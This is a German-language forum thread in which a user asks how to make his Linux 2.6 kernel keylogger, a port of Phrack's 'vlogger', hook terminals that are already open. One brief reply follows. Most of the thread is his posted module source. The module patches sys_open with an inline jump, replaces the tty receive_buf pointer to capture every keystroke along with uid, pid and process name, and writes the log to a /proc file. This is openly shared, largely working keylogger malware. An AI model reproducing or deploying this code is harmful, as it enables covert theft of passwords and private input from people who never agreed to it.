Kernelprogrammierung: geöffnete Terminals modifizieren
-
Guten Abend, ich versuche mich mal kurz zu fassen...
Ich habe vor einigen Monaten das Kernelmodul 'vlogger' für den 2.6er-Kernel umgeschrieben (http://www.phrack.org/show.php?p=59&a=14).
Ich erkläre mal kurz das Prinzip: der Treiber für das Terminal enthält einen Pointer auf die Funktion zum einlesen der Tastatureingaben - receive_buf(). Das Modul fängt sys_open() ab und setzt (falls ein Terminal geöffnet wird) den Zeiger auf die Adresse einer Funktion zum abfangen der Daten.
Mein Problem: ich kann nicht bereits geöffnete Terminals modifizieren. Im Modul für den 2.4er-Kernel wird das Problem folgend gelöst:
void my_tty_open(void) { int fd, i; char dev_name[80]; #ifdef LOCAL_ONLY int fl = 0; struct tty_struct * tty; struct file * file; #endif for (i=1; i<MAX_TTY_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd < 0) continue; #ifdef LOCAL_ONLY file = fget(fd); tty = file->private_data; if (tty != NULL && tty->ldisc.receive_buf != NULL) { if (!fl) { old_receive_buf = tty->ldisc.receive_buf; fl = 1; } init_tty(tty, TTY_INDEX(tty)); } fput(file); #endif close(fd); END_KMEM } #ifndef LOCAL_ONLY for (i=0; i<MAX_PTS_CON; i++) { snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i); BEGIN_KMEM fd = open(dev_name, O_RDONLY, 0); if (fd >= 0) close(fd); END_KMEM } #endif }
Dieser Code lässt sich leider nicht so einfach übertragen - z.B. motzt mein Compiler rum, weil die Funktion open() nicht bekannt ist. Ich habe leider recht wenig Ahnung von Kernelprogrammierung (dies ist mein erstes Experiment) und hoffe, dass mir einer von euch einen kleinen Tipp geben kann, wie ich bereits geöffnete Terminals 'abfangen' kann.
Mfg, Lord Kefir
-
z.B. motzt mein Compiler rum, weil die Funktion open() nicht bekannt ist.
ist der text vor dem code auch deiner? Denn dann solltest du wissen, dass wenn du syscalls im kernelmodus nutzt, diesen ein sys_open vorraussetzen musst, und dass es sein kann, dass du sys_/open im kernel mittels extern deklarieren musst.
in dem codestück seh ich auch nichts, wie du die funktionen abfängst oder so ...
(zugegeben, ich bin auch kein erfahrener kernelbastler, aber das ist irgendwie alles etwas hanebüchen
-
Okay... dachte mir schon, dass ich zu wenig Infos gepostet habe. Meinen kompletten Sourcecode wollte ich nicht hier reinpacken, weil er doch recht umfangreich ist.
Auch egal - mein Problem habe ich jetzt teilweise gelöst. Das einzige was ich jetzt nur noch erreichen muss ich festzustellen, ob ein Terminal geöffnet ist. Hat jemand eine Idee, wie ich das am geschicktesten realisieren könnte? Der einzige Weg der mir jetzt einfällt wäre, das komplette proc-Verzeichnis durchzulaufen und die Links im Verzeichnis der laufenden Prozesse (/proc/prozess-id/fd/nummer) daraufhin zu untersuchen, ob es sich um ein Terminal handelt oder nicht...
Mfg, Lord Kefir
ps: Falls es jemanden wirklich interessieren sollte, hier ist der Quellcode (noch recht buggy):
vlogger.h
#ifndef _TLOGGER_H #define _TLOGGER_H 1 // Constants: #define M_NAME "tlogger version 0.1.5" #define M_LICENSE "GPL" #define M_AUTHOR "Sebastian Fedrau <lord-kefir@arcor.de>" #define M_VERSION "0.1.5" #define M_DESCRIPTON "This module logs keyboard events." #define CODESIZE 7 #define TTY_MAX 8 #define PTS_MAX 128 #define KEY_ENTER 13 #define KEY_ESCAPE 27 #define KEY_BACKSPACE_LOCAL 127 #define KEY_BACKSPACE_REMOTE 8 #define BUFFER_SIZE 256 #define PROCFS_NAME "tlogger" #define PROCFS_BUFFER 5120 #define SECS_PER_HOUR (60 * 60) #define SECS_PER_DAY (SECS_PER_HOUR * 24) // Macros: #define DPRINT(level, format, args...) printk (level M_NAME ": " format, ##args) #define isleap(year) ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0)) #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0)) #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400)) // datatypes: typedef struct { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; } vtm; typedef struct { struct tty_struct *tty; char *buffer; unsigned int pos, lastpos; } loginfo; #endif
vlogger.c
#include <linux/kernel.h> #include <linux/module.h> #include <linux/version.h> #include <linux/errno.h> #include <linux/smp_lock.h> #include <linux/kallsyms.h> #include <linux/string.h> #include <linux/file.h> #include <linux/tty.h> #include <linux/sched.h> #include <linux/proc_fs.h> #include "tlogger.h" /* ---------------------------------------------- Macros: ---------------------------------------------- */ #ifndef KERNEL_VERSION #define KERNEL_VERSION(a,b,c) ((a) * 65536 + (b) * 256 + (c)) #endif MODULE_AUTHOR (M_AUTHOR); MODULE_LICENSE (M_LICENSE); MODULE_DESCRIPTION (M_DESCRIPTON); /* ---------------------------------------------- Prototypes: ---------------------------------------------- */ int read_proc (char *buffer, char **buffer_location, off_t offset, int len, int *eof, void *data); /* -> read procfile */ int epoch2time (const time_t *t, long int offset, vtm *tp); /* -> convert epoch to time */ static char *get_time (void); /* -> get time-string */ static char *get_key (const unsigned char *cp, int count); /* -> translate received keycode to character */ static inline unsigned int get_tty_index (struct tty_struct *tty); /* -> get index of tty */ void _receive_buf (struct tty_struct *tty, const unsigned char *cp, char *fp, int count); /* -> fake receive_buf */ void (*receive_buf) (struct tty_struct *tty, const unsigned char *cp, char *fp, int count); /* -> original receive_buf */ static inline void init_tty (struct tty_struct *tty); /* intecept receive_buf */ asmlinkage long _sys_open (const char __user *filename, int flags, int mode); /* fake sys_open */ asmlinkage long (*sys_open) (const char __user *filename, int flags, int mode); /* -> original sys_open */ void init_keylogger (void); /* hook existing terminals */ int init_module (void); /* -> initialization */ void cleanup_module (void); /* unload module */ /* ---------------------------------------------- Global Variables: ---------------------------------------------- */ static long ksym; // address of "sys_open" static char code[CODESIZE]; static char jump[CODESIZE] = "\xb8\x00\x00\x00\x00" "\xff\xe0"; static int gmt = 0; static struct proc_dir_entry *procfile; char procfs_buffer[PROCFS_BUFFER]; static loginfo logbuffer[TTY_MAX + PTS_MAX]; /* ---------------------------------------------- Command Line Arguments: ---------------------------------------------- */ MODULE_PARM (gmt, "i"); MODULE_PARM_DESC (gmt, "configure your timezone"); /* ---------------------------------------------- function: read_proc ---------------------------------------------- */ int read_proc (char *buffer, char **buffer_location, off_t offset, int len, int *eof, void *data) { if (offset > 0) { return 0; } else { int ret = sprintf (buffer, procfs_buffer); memset (procfs_buffer, 0, PROCFS_BUFFER); return ret; } } /* ---------------------------------------------- function: epoch2time ---------------------------------------------- */ int epoch2time (const time_t *t, long int offset, vtm *tp) { static const unsigned short int mon_yday[2][13] = { /* Normal years. */ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } }; long int days, rem, y; const unsigned short int *ip; days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970; while (days < 0 || days >= (isleap (y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1; } /* ---------------------------------------------- function: get_time ---------------------------------------------- */ static char *get_time (void) { struct timeval tv; time_t t; vtm tm; static char buffer[25]; do_gettimeofday(&tv); t = (time_t)tv.tv_sec; epoch2time (&t, gmt, &tm); sprintf (buffer, "%.2d.%.2d.%d %.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec); return buffer; } /* ---------------------------------------------- function: get_key ---------------------------------------------- */ static char *get_key (const unsigned char *cp, int count) { static char key[BUFFER_SIZE]; memset (key, 0, BUFFER_SIZE); if (count == 1) { switch (cp[0]) { case 0x01: strcpy (key, "{^A}"); break; case 0x02: strcpy (key, "{^B}"); break; case 0x03: strcpy (key, "{^C}"); break; case 0x04: strcpy (key, "{^D}"); break; case 0x05: strcpy (key, "{^E}"); break; case 0x06: strcpy (key, "{^F}"); break; case 0x07: strcpy (key, "{^G}"); break; case 0x09: strcpy (key, "{TAB}"); break; case 0x0b: strcpy (key, "{^K}"); break; case 0x0c: strcpy (key, "{^L}"); break; case 0x0e: strcpy (key, "{^E}"); break; case 0x0f: strcpy (key, "{^O}"); break; case 0x10: strcpy (key, "{^P}"); break; case 0x11: strcpy (key, "{^Q}"); break; case 0x12: strcpy (key, "{^R}"); break; case 0x13: strcpy (key, "{^S}"); break; case 0x14: strcpy (key, "{^T}"); break; case 0x15: strcpy (key, "{^U}"); break; case 0x16: strcpy (key, "{^V}"); break; case 0x17: strcpy (key, "{^W}"); break; case 0x18: strcpy (key, "{^X}"); break; case 0x19: strcpy (key, "{^Y}"); break; case 0x1a: strcpy (key, "{^Z}"); break; case 0x1c: strcpy (key, "{^\\}"); break; case 0x1d: strcpy (key, "{^]}"); break; case 0x1e: strcpy (key, "{^^}"); break; case 0x1f: strcpy (key, "{^_}"); break; case KEY_ENTER: strcpy (key, "{enter}"); break; case KEY_BACKSPACE_LOCAL: case KEY_BACKSPACE_REMOTE: strcpy (key, "{backspace}"); break; case KEY_ESCAPE: strcpy (key, "{escape}"); break; default: key[0] = cp[0]; key[1] = '\0'; break; } } else { // special key: if (cp[0] == KEY_ESCAPE) { switch (count) { case 2: switch (cp[1]) { case '\'': strcpy (key, "{Alt-\'}"); break; case ',': strcpy (key, "{Alt-,}"); break; case '.': strcpy (key, "{Alt-.}"); break; case '/': strcpy (key, "{Alt-/}"); break; case '0': strcpy (key, "{Alt-0}"); break; case '1': strcpy (key, "{Alt-1}"); break; case '2': strcpy (key, "{Alt-2}"); break; case '3': strcpy (key, "{Alt-3}"); break; case '4': strcpy (key, "{Alt-4}"); break; case '5': strcpy (key, "{Alt-5}"); break; case '6': strcpy (key, "{Alt-6}"); break; case '7': strcpy (key, "{Alt-7}"); break; case '8': strcpy (key, "{Alt-8}"); break; case '9': strcpy (key, "{Alt-9}"); break; case ';': strcpy (key, "{Alt-;}"); break; case '=': strcpy (key, "{Alt-=}"); break; case '[': strcpy (key, "{Alt-[}"); break; case '\\': strcpy (key, "{Alt-\\}"); break; case ']': strcpy (key, "{Alt-]}"); break; case '`': strcpy (key, "{Alt-`}"); break; case 'a': strcpy (key, "{Alt-A}"); break; case 'b': strcpy (key, "{Alt-B}"); break; case 'c': strcpy (key, "{Alt-C}"); break; case 'd': strcpy (key, "{Alt-D}"); break; case 'e': strcpy (key, "{Alt-E}"); break; case 'f': strcpy (key, "{Alt-F}"); break; case 'g': strcpy (key, "{Alt-G}"); break; case 'h': strcpy (key, "{Alt-H}"); break; case 'i': strcpy (key, "{Alt-I}"); break; case 'j': strcpy (key, "{Alt-J}"); break; case 'k': strcpy (key, "{Alt-K}"); break; case 'l': strcpy (key, "{Alt-L}"); break; case 'm': strcpy (key, "{Alt-M}"); break; case 'n': strcpy (key, "{Alt-N}"); break; case 'o': strcpy (key, "{Alt-O}"); break; case 'p': strcpy (key, "{Alt-P}"); break; case 'q': strcpy (key, "{Alt-Q}"); break; case 'r': strcpy (key, "{Alt-R}"); break; case 's': strcpy (key, "{Alt-S}"); break; case 't': strcpy (key, "{Alt-T}"); break; case 'u': strcpy (key, "{Alt-U}"); break; case 'v': strcpy (key, "{Alt-V}"); break; case 'w': strcpy (key, "{Alt-W}"); break; case 'x': strcpy (key, "{Alt-X}"); break; case 'y': strcpy (key, "{Alt-Y}"); break; case 'z': strcpy (key, "{Alt-Z}"); break; } break; case 3: switch (cp[2]) { case 68: strcpy (key, "{left}"); break; case 67: strcpy (key, "{right}"); break; case 65: strcpy (key, "{up}"); break; case 66: strcpy (key, "{down}"); break; case 80: strcpy (key, "{break}"); break; case 70: strcpy (key, "{end}"); break; case 72: strcpy (key, "{home}"); break; } break; case 4: switch (cp[3]) { case 65: strcpy (key, "{F1}"); break; case 66: strcpy (key, "{F2}"); break; case 67: strcpy (key, "{F3}"); break; case 68: strcpy (key, "{F4}"); break; case 69: strcpy (key, "{F5}"); break; case 126: switch (cp[2]) { case 53: strcpy (key, "{page up}"); break; case 54: strcpy (key, "{page down}"); break; case 49: strcpy (key, "{home}"); break; case 52: strcpy (key, "{end}"); break; case 50: strcpy (key, "{insert}"); break; case 51: strcpy (key, "{delete}"); break; } break; } break; case 5: if (cp[2] == 50) { switch (cp[3]) { case 48: strcpy (key, "{F9}"); break; case 49: strcpy (key, "{F10}"); break; case 51: strcpy (key, "{F11}"); break; case 52: strcpy (key, "{F12}"); break; case 53: strcpy (key, "{shift-F1}"); break; case 54: strcpy (key, "{shift-F2}"); break; case 56: strcpy (key, "{shift-F3}"); break; case 57: strcpy (key, "{shift-F4}"); break; } } else { switch (cp[3]) { case 55: strcpy (key, "{F6}"); break; case 56: strcpy (key, "{F7}"); break; case 57: strcpy (key, "{F8}"); break; case 49: strcpy (key, "{shift-F5}"); break; case 50: strcpy (key, "{shift-F6}"); break; case 51: strcpy (key, "{shift-F7}"); break; case 52: strcpy (key, "{shift-F8}"); break; } } break; default: break; } } else { if (strlen (cp) < BUFFER_SIZE) strcpy (key, cp); else strcpy (key, "{warning: buffer error}"); } } return (key); } /* ---------------------------------------------- function: get_tty_index ---------------------------------------------- */ static inline unsigned int get_tty_index (struct tty_struct *tty) { unsigned int index; if (tty->driver->type == TTY_DRIVER_TYPE_PTY) index = tty->index + TTY_MAX; else index = tty->index; return (index); } /* ---------------------------------------------- function: _receive_buf ---------------------------------------------- */ void _receive_buf (struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { struct task_struct *task; unsigned int index; char keybuffer[BUFFER_SIZE], new_line[BUFFER_SIZE + 256]; // find task: task = find_task_by_pid (tty->pgrp); // get index of tty: index = get_tty_index (tty); // get key(s): strcpy (keybuffer, get_key (cp, count)); // backspace: if (strcmp (keybuffer, "{backspace}") == 0) { if (logbuffer[index].lastpos != 0) { logbuffer[index].buffer[--logbuffer[index].lastpos] = '\0'; } } else { // special character: if (keybuffer[0] == '{' && keybuffer[strlen (keybuffer) - 1] == '}') { if (strcmp (keybuffer, "{enter}") != 0) { if (logbuffer[index].lastpos + strlen (keybuffer) <= BUFFER_SIZE) { strncat (logbuffer[index].buffer, keybuffer, strlen (keybuffer)); } else { DPRINT (KERN_ALERT, "error: full buffer\n"); } } // create new line: sprintf (new_line, "%s %s %d %d %s %s\n", get_time(), tty->name, task->uid, task->pid, task->comm, logbuffer[index].buffer); // add logbuffer to procfs_buffer: if (strlen (new_line) + strlen (procfs_buffer) <= PROCFS_BUFFER) strcat (procfs_buffer, new_line); else DPRINT (KERN_ALERT, "error: full buffer\n"); // reset logbuffer: memset (logbuffer[index].buffer, 0, BUFFER_SIZE); logbuffer[index].pos = 0; logbuffer[index].lastpos = 0; } else { // 'regular' key: if (logbuffer[index].lastpos + strlen (keybuffer) <= BUFFER_SIZE) { logbuffer[index].lastpos += strlen (keybuffer); strncat (logbuffer[index].buffer, keybuffer, strlen (keybuffer)); } else { DPRINT (KERN_ALERT, "error: full buffer\n"); } } } // call original function: (*receive_buf) (tty, cp, fp, count); } /* ---------------------------------------------- function: init_tty ---------------------------------------------- */ static inline void init_tty (struct tty_struct *tty) { unsigned int index; static unsigned short store_rb = 1; // store original receive_buf: if (store_rb) { DPRINT (KERN_INFO, "store original receive_buf\n"); store_rb = 0; receive_buf = tty->ldisc.receive_buf; } // get index of tty: index = get_tty_index (tty); if (index <= TTY_MAX + PTS_MAX) { // intercept receive_buf: if (tty->ldisc.receive_buf != _receive_buf) { DPRINT (KERN_INFO, "init %s [index: %d]\n", tty->name, index); logbuffer[index].tty = tty; tty->ldisc.receive_buf = _receive_buf; // initialize buffer: logbuffer[index].pos = 0; logbuffer[index].lastpos = 0; logbuffer[index].buffer = kmalloc(BUFFER_SIZE, GFP_KERNEL); if (!logbuffer[index].buffer) { DPRINT (KERN_ALERT, "allocation error\n"); cleanup_module (); } memset (logbuffer[index].buffer, 0, BUFFER_SIZE); } } else DPRINT (KERN_ALERT, "could not initialize %s\n", tty->name); } /* ---------------------------------------------- function: _sys_open ---------------------------------------------- */ asmlinkage long _sys_open (const char __user *filename, int flags, int mode) { long ret; // call original function: memcpy (sys_open, code, CODESIZE); ret = sys_open (filename, flags, mode); memcpy (sys_open, jump, CODESIZE); if (ret > 0) { struct file *file; struct tty_struct *tty; lock_kernel (); file = fget (ret); if (file && !IS_ERR (file)) { tty = file->private_data; if (tty && strcmp (filename, "/dev/tty") == 0) { init_tty (tty); } } fput (file); unlock_kernel (); } return ret; } /* ---------------------------------------------- function: init_keylogger ---------------------------------------------- */ void init_keylogger (void) { struct file *filp; struct tty_struct *tty; if ((filp = filp_open ("/dev/vc/2", O_RDONLY, 0)) != NULL) { if ((tty = filp->private_data) != NULL) { init_tty (tty); } filp_close (filp, NULL); } } /* ---------------------------------------------- function: init_module ---------------------------------------------- */ int init_module (void) { int i; DPRINT (KERN_INFO, "loading module\n"); // proof kernelversion: if (LINUX_VERSION_CODE < KERNEL_VERSION (2, 6, 0)) { DPRINT (KERN_ALERT, "could not initialize module: you need at least kernel version 2.6.0\n"); return -EPERM; } // create procfile: if ((procfile = create_proc_entry (PROCFS_NAME, 027, NULL)) == NULL) { remove_proc_entry (PROCFS_NAME, &proc_root); DPRINT (KERN_ALERT, "could not initialize /proc/%s\n", PROCFS_NAME); return -ENOMEM; } else { procfile->read_proc = read_proc; procfile->owner = THIS_MODULE; procfile->mode = S_IFREG; procfile->uid = 0; procfile->gid = 0; procfile->size = 0; DPRINT (KERN_INFO, "/proc/%s created\n", PROCFS_NAME); } // initialize procfs_buffer: memset (procfs_buffer, 0, PROCFS_BUFFER); // initialize logbuffer: for (i = 0; i < TTY_MAX + PTS_MAX; ++i) { logbuffer[i].tty = NULL; } lock_kernel (); // hijack sys_open: if (!(ksym = kallsyms_lookup_name ("sys_open"))) { DPRINT (KERN_ALERT, "could not find kernel symbol\n"); return -ENXIO; } *(unsigned long *)&jump[1] = (long)_sys_open; sys_open = (long (*) (const char __user *, int, int))ksym; memcpy (code, sys_open, CODESIZE); memcpy (sys_open, jump, CODESIZE); unlock_kernel(); // hook existing terminals: init_keylogger (); return 0; } /* ---------------------------------------------- function: cleanup_module ---------------------------------------------- */ void cleanup_module (void) { unsigned int i; lock_kernel (); // restore sys_open: memcpy (sys_open, code, CODESIZE); // reset ttys: for (i = 0; i < TTY_MAX + PTS_MAX; ++i) { if (logbuffer[i].tty != NULL) { DPRINT (KERN_INFO, "reset tty[%d]\n", i); logbuffer[i].tty->ldisc.receive_buf = receive_buf; logbuffer[i].tty = NULL; } if (logbuffer[i].buffer) { kfree (logbuffer[i].buffer); } } unlock_kernel (); // remove procfile: remove_proc_entry (PROCFS_NAME, &proc_root); DPRINT (KERN_INFO, "/proc/%s removed\n", PROCFS_NAME); DPRINT (KERN_INFO, "module unloaded\n"); }